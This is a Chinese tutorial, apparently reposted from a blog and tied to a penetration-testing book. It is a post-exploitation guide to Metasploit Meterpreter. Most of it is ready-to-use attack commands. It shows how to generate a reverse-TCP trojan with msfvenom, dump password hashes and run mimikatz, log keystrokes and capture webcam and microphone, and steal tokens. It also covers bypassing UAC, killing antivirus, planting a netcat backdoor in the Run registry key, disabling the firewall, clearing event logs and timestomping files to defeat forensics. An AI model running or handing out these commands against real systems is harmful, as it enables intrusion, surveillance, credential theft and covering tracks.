From:/weixin_45605352/article/details/115824811
<<Web 安全攻防(渗透测试实战指南)>>
1、初识 Meterpreter
1.1.什么是 Meterpreter
Meterpreter 是 Metasploit 框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell 的链接。Meterpreter shell 作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开 shell、得到用户密码、上传下载远程主机的文件、运行 cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外 Meterpreter 能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此 HIDS [基于主机的入侵检测系统] 很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它对于一个有经验的人也会变得非常困难。
Meterpreter 还可以简化任务创建多个会话。可以来利用这些会话进行渗透。在 Metasploit Framework 中,Meterpreter 是一种后渗透工具,它属于一种在运行过程中可通过网络进行功能扩展的动态可扩展型 Payload。这种工具是基于 "内存DLL注入"理念实现的,它能够通过创建一个新进程并调用注入的 DLL 来让目标系统运行注入的 DLL 文件。其中,攻击者与目标设备中Meterpreter 的通信是通过 Stager 套接字实现的 meterpreter 作为后渗透模块有多种类型,并且命令由核心命令和扩展库命令组成,极大的丰富了攻击方式。
需要说明的 meterpreter 在漏洞利用成功后会发送第二阶段的代码和 meterpreter 服务器 dll,所以在网络不稳定的情况下经常出现没有可执行命令,或者会话建立执行 help之 后发现缺少命令。 连上 vpn 又在内网中使用 psexec 和 bind_tcp 的时候经常会出现这种情况
1.2.Meterpreter技术优势
Metasploit 提供了各个主流平台的 Meterpreter 版本,包括 Windows、Linux,同时支持 x86、x64 平台,另外,Meterpreter 还提供了基于 PHP 和 Java 语言的实现。Meterpreter 的工作模式是纯内存的,好处是启动隐藏,很难被杀毒软件监测到。不需要访问目标主机磁盘,所以也没什么入侵的痕迹。除上述外,Meterpreter 还支持 Ruby 脚本形式的扩展。所以 Ruby 语言还很有必要。
2、Meterpreter 中常用反弹 shell 类型
2.1 reverse_tcp:
基于 TCP 的反向链接反弹 shell,使用起来很稳定。
生成 window 木马命令:msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=12581 -f exe -o hacker.exe
2.2 reverse_http:
基于 http 方式的反向连接,在网速慢的情况下不稳定
payload:/windows/meterpreter/reverse_http
2.3reverse_https
基于 https 方式的反向连接,在网速慢的情况下不稳定, https如果反弹没有收到数据,可以将监听端口换成 443 试试。
payload:/windows/meterpreter/reverse_https
2.4bind_tcp
这是一个基于TCP的正向连接 shell,因为在内网跨网段时无法连接到attack的机器,所以在内网中经常会使用,不需要设置 LHOST。
payload:/windows/meterpreter/bind_tcp
这里注意,我们设置的IP地址和端口就是目标机的。因为这是我们主动来连接它。
3、相关 Payload
Payload 中包含有需要在远程系统中运行的恶意代码,而在Metasploit中Payload是一种特殊模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。简而言之,这种漏洞利用模块可以访问目标系统,而其中的代码定义了Payload在目标系统中的行为。
Metasploit中的Payload模块主要有以下三种类型:
Single:Single是一种完全独立的Payload,而且使用起来就像运行calc.exe一样简单,例如添加一个系统用户或删除一份文件。由于Single Payload是完全独立的,因此它们有可能会被类似netcat这样的非metasploit处理工具所捕捉到Stager:这种Payload负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。一种常见的Stagers Payload就是reverse_tcp,它可以让目标系统与攻击者建立一条tcp连接。另一种常见的是bind_tcp,它可以让目标系统开启一个tcp监听器,而攻击者随时可以与目标系统进行通信。Stage:是Stager Payload下载的一种Payload组件,这种Payload可以提供更加高级的功能,而且没有大小限制。
在 Metasploit 中,我们可以通过 Payload 的名称和使用格式来推断它的类型:
Single Payload 的格式为:<target>/ <single>
Stager/Stage Payload 的格式为:<target>/ <stage> / <stager>
当在 Metasploit 中执行show payloads 命令之后,它会给我们显示一个可使用的Payload列表
4、Meterpreter 的常用命令
meterpreter 控制技巧总结
meterpreter 收集信息
收集 windows 主机信息
方法一:
shell
systeminfo
方法二:
sysinfo
收集本地(域)用户信息
shell
net user
net user /domain
收集当前用户信息
shell
whoami /all
收集主机所运行的服务
run service_manager -l
查询主机所在地理位置
run post/multi/gather/wlan_geolocate
查询arp信息
arp
枚举用户
run post/windows/gather/enum_computers
读取目标主机的WIFI密码
run post/windows/wlan/wlan_profile
监视
run vnc VNC 连接,实现屏幕实时监控
run sound_recorder 声音记录
run webcam 开启摄像头
收集 linux 主机信息
提升权限常用模块
Windows 提权,绕过 UAC 进行提权,使用以下模块
exploit/windows/local/bypassuac
exploit/windows/local/bypassuac_injection
exploit/windows/local/bypassuac_vbs
提高程序运行级别(runas)使用以下模块:exploit/windows/local/ask,该模块实际是使用更高权限运行程序,没有绕过UAC靶机会有响应,一般不使用。
利用 windows 提权漏洞进行提权
使用 ms13_053、ms14_058、ms16_016、ms16_032 等提权漏洞
对应漏洞补丁编号为
漏洞利用对应模块(PS.msf版本为metasploit v4.17.24-dev)
以上是常用的提权模块,如果以上尝试均失败,请查看漏洞影响的系统版本,以及对应主机中是否安装了月度更新。
使用 meterpreter 命令提权:getsystem
meterpreter 控制逻辑总结
后渗透攻击 (命令、模块)
arp
background
clearev
download、upload
execute 执行命令,可执行脚本或程
getprivs 查看当前用户具备的权限
getuid 查看 meterpreter 所在的用户组
getsystem 提权为管理员
sysinfo 查看计算机系统和名称等详细信息
idletime 查看目标系统运行了多长时间
keyscan_start 开启键盘记录
keyscan_dump 键盘记录下载
keyscan_stop 停止键盘记录
load 加载一些带有其他功能(后门)的软件
ps 查看目标系统的所有进程。如果没有root权限或者administrator权限,可以先查看进程,随后根据进程分析目标系统运行了什么软件。可以查找哪些软件有命令执行漏洞用来提权。甚至你还可以查看到目标系统用什么数据库之类的等等。
screenshot 截取目标系统屏幕
search 搜索目标系统的文件
shell 在目标系统打开一个命令行窗口,相当于cmd
web_list 查看目标机器上是否有网络摄像头,并且列举出来
webcam_snap 连接目标系统的摄像头
run get_local_subnets查询主机路由
run arp_scanner -r x.x.x.x/24 扫描内网存活主机
run domain_list_gen 查询域用户
net use 使用 ipc 通道访问域内用户
hashdump 导出全域 hash (获取目标系统用户密码 hash ),需要有系统权限
db_nmap 内网主机端口扫描:msf 中使用的 db_nmap 实际上实际上使用 nmap 进行扫描生成 xml 格式文件,再导入,因此 db_nmap实际上就是nmap。
模块
run hashdump 获取目标系统哈希值,包括密码提示,需要有”system“权限
1、hashdump 获取目标系统哈希值
run post/windows/gather/hashdump
把获取到的哈希值在彩虹表中进行破解,
访问md5在线解密破解,md5解密加密:/
2、migrate
run post/windows/manage/migrate
可以将meterpreter当前的进程移动到一个新的进程。
主要用来防软杀,或者进程不稳定的时候使用这个模块。
3、run killav 关闭对方杀软
run /post/windows/manage/killav
4、run post/windows/gather/enum_computers
枚举 Windows 域内所有用户,不包含目标主机
5、run persistence
写入硬盘,下次目标主机启动时,木马将会自启动
(不一定成功,建议重新上传后门)
6、run post/multi/gather/wlan_geolocate
基于WLAN进行地理位置确认。
8、run service_manager
目标主机系统服务管理
9、run post/windows/wlan/wlan_profile
获取目标主机WiFi密码
10、run vnc
屏幕实时监控,配和 录制声音、开启摄像头 效果会更好
run sound_recoder(录制声音)
run webcam(开启摄像头)
4.1 全部 基本 命令:
meterpreter > ?核心 命令=============?帮助background当前 session 放到 后端bg background 的 别名bgkill结束一个 后端 meterpreter scriptbglist列出正在运行的 后端 scriptsbgrun 执行一个 meterpreter script,同时作为后端线程channel 显示信息或控制活动 channel ( 通道 )close 关闭一个 channeldetach分离 meterpreter session (用于 http/https)disable_unicode_encoding 禁用unicode字符串编码enable_unicode_encoding 启用unicode字符串编码exit 终止 meterpreter sessionget_timeouts 获取当前会话超时时间guid 获取 GUIDhelp 帮助info Displays information about a Post moduleirb 在当前会话中打开一个 Ruby shellload 载入一个或者多个 meterpreter 扩展machine_id获取计算机的MSF IDmigrate 将服务迁移到其他进程 ( 注入到其他进程 )pivot Manage pivot listenerspry Open the Pry debugger on the current sessionquit Terminate the meterpreter sessionread 从 channel 读数据resource 运行存储在文件中的命令run 执行 meterpreter script 或者 Post modulesecure(Re)Negotiate TLV packet encryption on the sessionsessions 快速切换到另一个会话set_timeouts 设置当前会话超时值sleep 强制 Meterpreter 睡眠多少秒后再次连接ssl_verify修改SSL证书验证设置transport Manage the transport mechanismsuse load 的别名,已经弃用。uuid 获取 uuidwrite 向 channel 写数据Stdapi: 文件 系统 命令============================Command Description------- -----------cat cd checksum检索文件的校验和cp del dir download下载文件或者目录edit编辑文件 getwd 打印工作目录getlwd 打印本地工作目录lcatlcd lls lpwdls mkdir mv pwd rm rmdir search 搜索文件show_mount 列出所有挂载点/逻辑驱动器upload 上传文件或者目录Stdapi: 网络 命令===========================arp 显示主机的 ARP 缓存getproxy显示当前代理配置ifconfig显示所有网络接口ipconfig显示所有网络接口netstat 显示所有网络连接portfwd 转发一个本地端口到远程服务resolve 在目标上解析一组主机名route 查看并修改路由表Stdapi: 系统 命令=======================clearev 清除事件日志drop_token 放弃任何活动的模拟令牌。execute 执行命令getenv 获取一个或多个环境变量值getpid 获取当前进程 idgetprivs尝试启用当前进程可用的所有权限getsid 获取 sidgetuid 获取 uidkill终止进程localtime显示目标系统日期、时间pgrep 按名称过滤进程pkill 按名称终止进程ps 列出运行的进程reboot 重启远程电脑reg 操作远程注册表rev2self在远程计算机上调用 RevertToSelf()shell 进入远程系统 shellshutdown关闭远程电脑steal_token 试图从目标进程窃取模拟令牌suspend 暂停或恢复进程sysinfo 获取有关远程系统的信息,例如:操作系统Stdapi: 用户 接口 命令===============================enumdesktops 列出所有可访问的桌面和 windows工作站getdesktop获取 meterpreter 桌面idletime 返回远程用户空闲的秒数keyboard_send 发送按键keyevent 发送按键事件keyscan_dump Dump the keystroke bufferkeyscan_start 开始捕获按键keyscan_stop 停止捕获按键mouse发送鼠标事件screenshare 实时观察远程用户桌面screenshot截图setdesktop改变 meterpreters 当前桌面uictl控制用户界面组件Stdapi: 摄像头 命令 ( Webcam Commands )=======================record_mic从默认麦克风录制音频X秒webcam_chat 开始视频聊天webcam_list 网络摄像头列表webcam_snap 从指定的摄像头拍一个快照webcam_stream 播放指定摄像头的视频流Stdapi: 音频输出命令 ( Audio Output Commands )=============================play在目标系统上播放一个波形音频文件(.wav)Priv: 提升权限 ======================getsystem尝试把权限提升到系统权限Priv: 密码数据库命令================================ hashdump转储SAM内容。 即 导出全域 hash (获取目标系统用户密码 hash )Priv: timestomp伪造时间戳======================== timestomp操作文件 MACE 属性meterpreter >
? / help # 查看 Meterpreter 帮助
bg / background # 返回,把 meterpreter 后台挂起
bgkill # 杀死一个背景 meterpreter 脚本
bglist # 提供所有正在运行的后台脚本的列表
bgrun # 作为一个后台线程运行脚本
channel # 显示活动频道
sessions -i number # 与会话进行交互
close # 关闭通道
exit/quit # 终止 meterpreter 会话
guid # 获取会话 guid
info# 显示有关Post模块的信息
interact id # 切换进一个信道
run/exploit # 执行一个已有的模块
irb# 进入 Ruby 脚本模式
machine_id # 获取连接到会话的计算机的MSF id
read# 从通道读取数据
write# 将数据写入到一个通道
read# 从通道读取数据
run和bgrun # 前台和后台执行以后它选定的 meterpreter 脚本
use # 加载 meterpreter 的扩展
load/use # 加载模块
Resource # 执行一个已有的rc脚本
migrate# 将服务器迁移到另一个进程
pivot# 管理数据透视侦听器
set_timeouts # 设置当前会话超时值
sleep# 强制MeterMeter保持安静,然后重新建立会话。
uuid# 获取当前会话的uuid
sessions 控制命令
msf exploit(windows/local/ms16_016_webdav) > sessions -hUsage: sessions [options] or sessions [id]Active session manipulation and interaction.OPTIONS:-C <opt> Run a Meterpreter Command on the session given with -i, or all-K Terminate all sessions-S <opt> Row search filter.-c <opt> Run a command on the session given with -i, or all-d List all inactive sessions-h Help banner-i <opt> Interact with the supplied session ID-k <opt> Terminate sessions by session ID and/or range-l List all active sessions-n <opt> Name or rename a session by ID-q Quiet mode-s <opt> Run a script or module on the session given with -i, or all-t <opt> Set a response timeout (default: 15)-u <opt> Upgrade a shell to a meterpreter session on many platforms-v List all active sessions in verbose mode-x Show extended information in the session tableMany options allow specifying session ranges using commas and dashes.For example: sessions -s checkvm -i 1,3-5 or sessions -k 1-2,5,6
4.2文件系统命令
cat # 查看文件内容,文件必须存在
cd # 更改目录
checksum # 检索文件的校验和
cp # 复制源到目标
dir/ls # 目录列表文件(ls的别名)
download # 下载文件或目录
upload # 上载文件或目录
edit # 编辑文件
getlwd # 打开本地工作目录
getwd # 打开工作目录
lcd # 更改本地工作目录
lls # 列出本地文件
lpwd # 打印本地工作目录
mkdir # 生成目录
mv # 将源移动到目标/修改目标主机上的文件名
pwd # 打印工作目录
rm # 删除指定的文件
rmdir # 删除目录
search # 搜索文件
show_mount # 显示装载列表所有装载点/逻辑驱动器
enumdesktops # 用户登录数
4.3 系统命令
clearev 清除事件日志
drop_token 放弃任何活动的模拟令牌。
execute 执行命令
目标主机上立马弹出来一个记事本程序,这样太明显,如果希望隐藏后台执行,加参数-H
getenv 获取一个或多个环境变量值
getpid 获取当前进程 id
getprivs 尝试启用当前进程可用的所有权限
getsid 获取 sid。获取运行服务器的用户
getuid 获取 uid。
kill终止进程
localtime 显示目标系统日期、时间
pgrep按名称过滤进程
pkill按名称终止进程
ps列出运行的进程
reboot 重启远程电脑
reg操作远程注册表
rev2self 在远程计算机上调用 RevertToSelf()
shell进入远程系统 shell
shutdown 关闭远程电脑
steal_token 试图从目标进程窃取模拟令牌
suspend 暂停或恢复进程
sysinfo 获取有关远程系统的信息,例如:操作系统
4.4 网络命令
arp显示主机的 ARP 缓存
getproxy 显示当前代理配置
ifconfig / ipconfig 显示所有网络接口
netstat 显示所有网络连接
portfwd 转发一个本地端口到远程服务
resolve 在目标上解析一组主机名
route查看并修改路由表
4.5 用户 界面 命令
enumdesktops 列出所有可访问的桌面和 windows工作站
getdesktop 获取当前 meterpreter 桌面
idletime 返回远程用户空闲的秒数
keyboard_send 发送按键
目标服务器就输入了发送的击键
keyevent 发送按键事件
keyscan_dump Dump the keystroke buffer
keyscan_start 开始捕获按键
keyscan_stop 停止捕获按键
mouse发送鼠标事件
screenshare 实时观察远程用户桌面
screenshot 截图
setdesktop 改变 meterpreters 当前桌面
uictl控制用户界面组件
4.6 网络摄像头命令
record_mic 从默认麦克风录制音频X秒
webcam_chat 开始视频聊天
webcam_list 网络摄像头列表
webcam_snap 从指定的摄像头拍一个快照
webcam_stream 播放指定摄像头的视频流
4.7mimikatz (内网渗透神器 )
内网渗透神器(Mimikatz)使用教程:/weixin_40412037/article/details/113348310
meterpreter > load mimikatz # 加载mimikatz
meterpreter > msv # 获取hash值
meterpreter > kerberos # 获取明文
meterpreter > ssp # 获取明文信息
meterpreter > wdigest # 获取系统账户信息
meterpreter > mimikatz_command -f a:: # 必须要以错误的模块来让正确的模块显示
meterpreter > mimikatz_command -f hash:: # 获取目标 hash
meterpreter > mimikatz_command -f samdump::hashes
meterpreter > mimikatz_command -f sekurlsa::searchPasswords
4.8 网络嗅探
use sniffer 加载嗅探模块。
sniffer_interfaces列出目标主机所有开放的网络端口 ( 即所有网卡 )。
sniffer_start interfaceID 开始嗅探。
sniffer_stop interfaceID 停止嗅探。
sniffer_start interfaceID packet-buffer 对特定范围的数据包缓冲区启动嗅探。
sniffer_stats interfaceID 获取正在实施嗅探网络接口的统计数据。
sniffer_dump interfaceID filename 保存抓取的数据包
对抓取的包进行解包:
use auxiliary/sniffer/psnuffle
set pcapfile 1.cap
run
4.9获取敏感信息
run post/windows/gather/checkvm # 是否虚拟机
run post/windows/gather/enum_applications # 获取安装软件信息
run post/windows/gather/dumplinks # 获取最近的文件操作
run post/windows/gather/enum_ie # 获取IE缓存
run post/windows/gather/enum_chrome # 获取Chrome缓存
run scraper # 获取常见信息
4.10获取 Hash
使用 "hashdump"命令可以从系统提取用户名和密码 hashes。使用 hashdump 命令可以获取目标主机的 SAM 文件,获取目标主机的账号密码 hash 信息,剩下的可以用爆破软件算出明文密码,微软一般用 LM,NTML 和 NTLMv2 形式的哈希表存储密码。若想运行这个命令,需要有注册表和SAM [Security Account Manager]的系统的权限,如果你是作为一个普通的用户登陆的话,你需要提升权限,这我们将在后面提到。
run post/windows/gather/smart_hashdump
数据的输出格式为:用户名:SID:LM哈希:NTLM哈希:::
use post/windows/gather/hashdump
set session 2
run
检查已有权限+系统类型
检查是否为域控制器
从注册表读 hash,若失败,注入LSASS进程;若域控制器,直接注入LSASS进程
若win+会话管理员权限,尝试使用getsystem,若在system不能注入LSASS,先migrate到system权限下的进程,继续注入LSASS
若win7/Vista+UAC关闭+会话管理员权限,尝试getsystem,读取hash
若win/xp/2000,直接getsystem,读取hash
4.11 通过 Hash 获取权限
use exploit/windows/smb/psexec
set RHOST 192.168.1.104
set SMBUser Administrator
set SMBPass aad3b435b51404eeaad3b435b51404ee:b31d50d887e8f5b9fde7a7d95013da1a
run
4.12 得到远程桌面
使用命令 "run vnc" 将会弹出窗口,在此窗口中就是对方现在打开的桌面情况,在这里,可以对远程机器进行操控。
4.13 权限提升
这是 meterpreter 中实施漏洞利用系统特权要求的一个重要的模块。为了这个目的,我们必须用PRIV extention.,在旧版本的Metasploit中Priv extension并不自动装载,使用“use priv”手动加载的。然而在后来的msf版本中并不需要担心这一点。
使用“getuid”获得当前的权限,migrate+PID迁移进程(当我们攻击一个系统是,常常是对像是IE之类的服务漏洞进行利用的,可是不免有对方关闭IE的情况,那么我们的meterpreter会话将会关闭,从而导致与目标系统失去连接,所以我们可以使用迁移进程后的攻击模块,将sessions迁移到内存空间中的其他稳定的、不会被关闭的服务进程中,以维持稳定的系统控制),从列表中看到PID为232的是administrator权限,所以是迁移到administrator的权限,“getsystem –h”升级为权限SYSTEM账户。这个模块可以用来提升我们的特权,有四个技巧。Meterpreter自动检查四个方法并且尝试其最好方法。然后看到我们权限又变为了system权限了。
ps # 列出正在运行进程。
migrate pid # 将 Meterpreter 会话移植到进程数为pid的进程中,需要注意的是如果存在杀软的话可能会阻止进程注入,所以把会话进程注入到 svchost.exe 是一个好方法
getprivs # 尽可能获取尽可能多的特权
getuid# 获得当前的权限
getsystem # 通过各种攻击向量将一个管理帐户(通常为本地Administrator账户)提升为本地SYSTEM帐户
getsystem -h
使用 MS14-058 之类的 Exp 进行提权
use exploit/windows/local/ms14_058_track_popup_menu
set SESSION 3
run
4.14 盗取令牌
use incognito # 加载incoginto功能(用来盗窃目标主机的令牌或是假冒用户)
list_tokens -u # 列出目标主机用户的可用令牌
list_tokens -g # 列出目标主机用户组的可用令牌
impersonate_token DOMAIN_NAME\USERNAME # 假冒目标主机上的可用令牌
execute -f cmd.exe -i -t # 调用域权限shell
add_user 0xfa funny –h 192.168.1.104 # 在域控主机上添加账户
reg command # 在目标主机注册表中进行交互,创建,删除,查询等操作
setdesktop number # 切换到另一个用户界面(该功能基于哪些用户已登录)
ps # 查看目标机器进程,找出域控账户运行的进程ID
steal_token pid # 盗窃给定进行的可用令牌并进行令牌假冒
drop_token pid # 停止假冒当前令牌
4.15 清除事件日志 (打扫战场 )
完成攻击操作之后,千万别忘了 "打扫战场" 。我们的所有操作都会被记录在目标系统的日志文件之中,因此我们需要在完成攻击之后使用命令 "clearev"命令来清除事件日志
Win+R 输入eventvwr.msc 打开事件查看器,里面的应用程序、安全性、系统都是空的:
4.17 一些脚本命令 (Meterpreter Script )
为获取远程机器上的信息,在 meterpreter 中还有很多脚本可用,。使用 "run scriptname"来使用meterpreter 模块中的脚本命令,做进一步的渗透测试。
run post/windows/gather/checkvm:后渗透模块,确定目标主机是否是一台虚拟机
run packetrecorder -i 1:查看目标系统的所有网络流量,并且进行数据包记录,-i 1指定记录数据包的网卡。
run get_local_subnets:得到本地子网网段
run getcountermeasure:显示HIPS和AV进程的列表,显示远程机器的防火墙规则,列出DEP和UAC策略
run scraper:从目标主机获得所有网络共享等信息,并且获得的这些所有这些信息都存储在/root/.msf4/logs/scripts/scraper directory目录下。使用 ls 命令查看存储的这些文件。
run killav:命令终止Av进程,可以很快的清除我们的路径和有效渗透测试的记录,但是这个脚本,不能绝对得逃避杀毒软件,但是如果成功了对被攻击者会是一个严重的打击,对他造成很大的困扰
run hashdump:获得密码哈希值,运行这个脚本和在meterpreter下直接运行hashdump结果差不多。
run keylogrecorder:命令为记录键盘信息,运行这个脚本和在meterpreter下直接运行keyscan结果差不多,这里将对键盘记录的文件进行保存,路径如下。
run persistence:我们知道 Meterpreter 的强大之处之一在于它运行于内存中,不易被杀毒软件发现,但只要目标机环境合适,或你对自己的免杀足够自信,可通过该命令写入硬盘,下次目标机启动时,木马将会自启动。示例:run persistence -X -i 5 -p 12581 -r 192.168.1.107 #植入后门
执行过程:
创建攻击载荷 -> 攻击载荷植入到目标主机 c:\windows\temp目录下,是一个.vbs的脚本 -> 写目标主机注册表键值实现开机自动运行。
下图,在攻击主机上监听12581端口,等待反弹会话成功
下图,看目标主机注册表 Run 键值果然被写入了一个 PplUOJWzOoTqiKa 的键值,执行后门 vbs 脚本
enum_drives:在获取meterpreter会话session后,调用post/windows/gather/forensics/enum_drives,可获取目标主机存储器信息。
use post/windows/gather/forensics/enum_drives
set SESSION 6
run
或直接在 meterpreter 会话中以命令 run post/windows/gather/forensics/enum_drives 调用
4.18 SOCKS代理
Metasploit 可以作为一个 SOCKS 代理服务器,具体步骤为首先通过 Metasploit 的某些模块建立会话,就像本章前面介绍的,建立完会话之后,执行 "route add +IP+mask+SID"然后使用 "use auxiliary/server/socks4a" 命令来使用 sock4a 模块,执行 run 命令 ,socks 便会执行,然后再在命令行下执行 proxychains 命令,使用代理对目标主机进行扫描,nmap,nc 等都可以。
4.19 运行程序
execute:在目标系统中执行应用程序。这个命令的使用方法如下:
execute -f<file> [Options]
运行后它将执行file参数所指定的文件。可选参数如下:
-H:创建一个隐藏进程-a:传递给命令的参数-i:跟进程进行交互-m:从内存中执行-t:使用当前伪造的线程令牌运行进程-s:在给定会话中执行进程-f 执行的程序文件-d 在目标主机执行时显示的进程名称(用以伪装)-o wce.txt 是 wce.exe 的运行参数
4.20 创建账号
run getgui -e 开启目标主机远程桌面
run getgui -u test -p test 创建新账户,虽然有报错但是账户已经创建完成:
rdesktop 192.168.1.104 添加完账户使用redesktop命令连接一下远程主机。
输入账户名密码登录,对目标机器直接进行控制:
4.21 启用远程桌面
当我们新添加的用户已经拥有远程桌面权限之后,我们就可以使用这个账号凭证来开启远程桌面会话了。
首先,我们需要确保目标Windows设备开启了远程桌面功能(需要开启多个服务),不过我们的getgui脚本可以帮我们搞定。我们可以使用-e参数确保目标设备开启了远程桌面功能(重启之后同样会自动开启):
在开启远程桌面会话之前,我们还需要使用“idletime”命令检查远程用户的空闲时长,这样可以降低你被发现的概率
可以用 run post/windows/manage/enable_rdp 或者 run getgui -e 来开启远程桌面
4.22 绑定进程
Meterpreter既可以单独运行,也可以与其他进程进行绑定。因此,我们可以让Meterpreter与类似explorer.exe这样的进程进行绑定,并以此来实现持久化。
使用“getpid”找出需要绑定的进程,接下来,使用migrate命令+pid来绑定进程(需要先关闭防火墙)。
4.23 通过其 shell 来关闭防火墙
NetSh Advfirewall set allprofiles state off(区分大小写)
目标防火墙已关闭:
但是我们可以看出,如果目标管理员查看防火墙配置,发现防火墙被人为关闭,那么必定引起管理员的警惕!因此,我们还可以通过策略的添加,来隐蔽我们的行为。
netsh firewall add portopening TCP 444 “VMWARE” ENABLE ALL
伪装成一个系统正常的进程,之后远程重启目标系统,并利用 NC 连接即可!
4.24 利用注册表添加 NC 后门
上传 NC 到目标系统:upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32
枚举注册表内容(开机启动):reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
在该注册表增加内容(开机启动):reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d "C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe"
查看内容是否增加成功:reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v nc
4.25 基于MACE时间的反电子取证
timestomp -v test.txt # 查看当前目标文件 MACE 时间。
timestomp c:/test.txt -c “10/27/ 14:22:11” #修改文件的创建时间,例如修改文件的创建时间(反取证调查)
timestomp -f c:\AVScanner.ini test.txt (将模板文件MACE时间,复制给当前文件)
4.26 内网代理
meterpreter > run autoroute -s 192.168.1.0/24
msf exploit(handler) > use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > set PORTS 80,8080,21,22,3389,445,1433,3306
msf auxiliary(tcp) > set RHOSTS 192.168.1.104/24
msf auxiliary(tcp) > set THERADS 10
msf auxiliary(tcp) > exploit
meterpreter > background
msf exploit(handler) > use auxiliary/server/socks4a
msf auxiliary(socks4a) > route print
msf auxiliary(socks4a) > ifconfig
msf auxiliary(socks4a) > set SRVHOST xxx.xxx.xx.xx #xxx.xxx.xx.xx为自己运行msf的vps机子'
msf auxiliary(socks4a) > exploit
4.27 SSH 代理
msf > load meta_ssh
msf > use multi/ssh/login_password
msf > set RHOST 192.168.1.104
msf > set USER test
msf > set PASS reverse
msf > set PAYLOAD ssh/metassh_session
msf > exploit -z
msf > route add 192.168.57.0 255.255.255.0 1
之后就是愉快的内网扫描了,当然还是推荐直接用
ssh -f -N -D 127.0.0.1:6666 test@103.224.81.1.1
4.28 内网扫描
meterpreter > run autoroute -s 192.168.3.98
meterpreter > background
msf exploit(handler) > use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > set PORTS 80,8080,21,22,3389,445,1433,3306
msf auxiliary(tcp) > set RHOSTS 192.168.1.1/24
4.29 常用的破解模块
auxiliary/scanner/mssql/mssql_login
auxiliary/scanner/ftp/ftp_login
auxiliary/scanner/ssh/ssh_login
auxiliary/scanner/telnet/telnet_login
auxiliary/scanner/smb/smb_login
auxiliary/scanner/mssql/mssql_login
auxiliary/scanner/mysql/mysql_login
auxiliary/scanner/oracle/oracle_login
auxiliary/scanner/postgres/postgres_login
auxiliary/scanner/vnc/vnc_login
auxiliary/scanner/pcanywhere/pcanywhere_login
auxiliary/scanner/snmp/snmp_login
auxiliary/scanner/ftp/anonymous
4.30 一些好用的模块
auxiliary/admin/realvnc_41_bypass (Bypass VNCV4网上也有利用工具)
auxiliary/admin/cisco/cisco_secure_acs_bypass (cisco Bypass 版本5.1或者未打补丁5.2版洞略老)
auxiliary/admin/http/jboss_deploymentfilerepository (内网遇到Jboss最爱:))
auxiliary/admin/http/dlink_dir_300_600_exec_noauth (Dlink 命令执行:)
auxiliary/admin/mssql/mssql_exec (用爆破得到的sa弱口令进行执行命令没回显:()
auxiliary/scanner/http/jboss_vulnscan (Jboss 内网渗透的好朋友)
auxiliary/admin/mysql/mysql_sql (用爆破得到的弱口令执行sql语句:)
auxiliary/admin/oracle/post_exploitation/win32exec (爆破得到Oracle弱口令来Win32命令执行)
auxiliary/admin/postgres/postgres_sql (爆破得到的postgres用户来执行sql语句)
auxiliary/scanner/rsync/modules_list (Rsync)
auxiliary/scanner/misc/redis_server (Redis)
auxiliary/scanner/ssl/openssl_heartbleed (心脏滴血)
auxiliary/scanner/mongodb/mongodb_login (Mongodb)
auxiliary/scanner/elasticsearch/indices_enum (elasticsearch)
auxiliary/scanner/http/axis_local_file_include (axis本地文件包含)
auxiliary/scanner/http/http_put (http Put)
auxiliary/scanner/http/gitlab_user_enum (获取内网gitlab用户)
auxiliary/scanner/http/jenkins_enum (获取内网jenkins用户)
auxiliary/scanner/http/svn_scanner (svn Hunter :))
auxiliary/scanner/http/tomcat_mgr_login (Tomcat 爆破)
auxiliary/scanner/http/zabbix_login (Zabbix :))
5、meterpreter 的所有 script
在获得 meterpreter 的 session 后,除了 meterpreter 本身内置的一些基本功能,在/usr/share/metasploit-framework/scripts/meterpreter下面还有很多 scripts,提供了很多额外功能,非常好用。查看脚本帮助命令:run 脚本名 -h
arp_scanner 利用 arp 进行存活主机扫描
run arp_scanner-r 192.168.1.0/24
autoroute 可以添加,删除,显示路由表
run autoroute -s
checkvm 可以检测目标是否是虚拟机
run checkvm
domain_list_gen 获取域管理账户列表,并判断当前 session 所在用户是否在列表中
run domain_list_gen
dumplinks Link 文件包含时间戳,文件位置,共享名,卷序列号,等。脚本会在用户目录和 office目录中收集 lnk 文件
run dumplinks Link
调用 post/windows/gather/dumplinks 获取目标主机上最近访问过的文档、链接信息
run post/windows/gather/dumplinks
duplicate 再次产生 payload,注入到其他进程或打开新进程并注入其中
run duplicate -e C:/notepad.exe -p 1.1.1.1 -r 1234
enum_chrome 获取 chrome 中的信息
run post/windows/gather/enum_chrome
enum_firefox 获取 firefox 中的信息,包括 cooikie,历史纪录,书签等
run post/windows/gather/enum_firefox
enum_logged_on_users 列出当前登录的用户
run enum_logged_on_users
enum_powershell_env 列出 powershell 和 WSH 的配置文件
run enum_powershell_envrs
enum_putty 列出 putty 的配置文件
run enum_putty
enum_shares列出共享及历史共享
enum_vmware列出vmware的配置文件和产品
event_manager可以查询和清理事件日志
file_collector 搜索符合指定模式的文件
get_application_list 获取安装的程序列表及版本
getcountermeasure 列出HIPS 和 AV 的进程,显示XP 防火墙规则, 并且显示 DEP和UAC 策略
-k 参数可以杀掉防护软件进程
get_env 获取所有用户的环境变量
get_filezilla_creds 获取filezilla的登陆凭证
getgui 可以很方便的开启远程桌面服务,添加用户,端口转发功能
get_local_subnets 获得本地的子网
get_pidgin_creds 获取pidgin配置文件中的用户名和密码
gettelnet 同之前开启终端桌面服务的脚本,这个是用来开启telnet的
get_valid_community 获取SNMP community字符串
getvncpw 获取vnc密码
hashdump 同meterpreter的内置功能
